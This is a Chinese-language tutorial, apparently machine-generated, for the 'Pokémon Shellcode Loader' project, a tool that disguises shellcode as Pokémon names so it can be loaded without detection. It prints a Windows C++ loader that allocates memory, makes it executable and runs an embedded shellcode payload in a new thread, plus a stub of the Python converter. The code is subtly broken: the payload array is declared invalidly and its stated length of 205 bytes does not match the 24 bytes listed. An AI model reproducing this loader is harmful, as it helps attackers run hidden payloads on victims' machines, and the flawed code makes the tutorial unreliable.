Pokémon Shellcode Loader 使用教程

Pokémon Shellcode Loader 使用教程

Pokemon-Shellcode-LoaderTired of looking at hex all day and popping '\x41's? Rather look at Lugia/Charmander? I have the solution for you.项目地址:https://gitcode.com/gh_mirrors/po/Pokemon-Shellcode-Loader

1. 项目的目录结构及介绍

Pokémon Shellcode Loader 项目的目录结构如下:

Pokemon-Shellcode-Loader/
├── LICENSE
├── Poke-Shellcode-Converter.py
├── Pokemon-Loader.cpp
├── README.md

目录结构介绍

  • LICENSE: 项目的许可证文件,采用 GPL-3.0 许可证。
  • Poke-Shellcode-Converter.py: Python 脚本,用于将 Shellcode 转换为 Pokémon 名称表示的 Shellcode。
  • Pokemon-Loader.cpp: C++ 源代码文件,用于加载转换后的 Pokémon Shellcode。
  • README.md: 项目的说明文档,包含项目的基本介绍和使用方法。

2. 项目的启动文件介绍

项目的启动文件是 Pokemon-Loader.cpp,这是一个 C++ 源代码文件,负责加载和执行转换后的 Pokémon Shellcode。以下是该文件的基本结构和功能介绍:

#include <windows.h>

void main() {
    void* exec;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    // Shellcode
    unsigned char payload[] = {
        "\x6f\x68\x43\x3a\x5c\x57\x89\xe6",
        "\x6a\x0a\x56\xff\xd0\x83\xc4\x46",
        "\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3"
    };

    unsigned int payload_len = 205;
    exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(exec, payload, payload_len);
    rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
    th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    WaitForSingleObject(th, -1);
}

启动文件功能介绍

  • VirtualAlloc: 分配内存空间。
  • RtlMoveMemory: 将 Shellcode 复制到分配的内存空间。
  • VirtualProtect: 修改内存保护属性,使其可执行。
  • CreateThread: 创建线程执行 Shellcode。
  • WaitForSingleObject: 等待线程执行完毕。

3. 项目的配置文件介绍

项目中没有明确的配置文件,但可以通过修改 Poke-Shellcode-Converter.pyPokemon-Loader.cpp 文件中的内容来进行配置。

Poke-Shellcode-Converter.py 配置

import json

shellcode = (b"\x41\x42\x20\x43")  # 需要转换的 Shellcode
PokemonList = ["Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod"]

# 转换逻辑

Pokemon-Loader.cpp 配置

unsigned char payload[] = {
    "\x6f\x68\x43\x3a\x5c\x57\x89\xe6",
    "\x6a\x0a\x56\xff\xd0\x83\xc4\x46",
    "\x5d\x5f\x5e\x5a\x59\x5b\x58\xc3"
};

unsigned int payload_len = 205;

通过修改 shellcodepayload 变量中的内容,可以配置不同的 Shellcode 和 Pokémon 名称。


以上是 Pokémon Shellcode Loader 项目的使用教程,涵盖了项目的目录结构、启动文件和配置文件的介绍。希望对您有所帮助!

Pokemon-Shellcode-LoaderTired of looking at hex all day and popping '\x41's? Rather look at Lugia/Charmander? I have the solution for you.项目地址:https://gitcode.com/gh_mirrors/po/Pokemon-Shellcode-Loader

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

计攀建Eliza

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值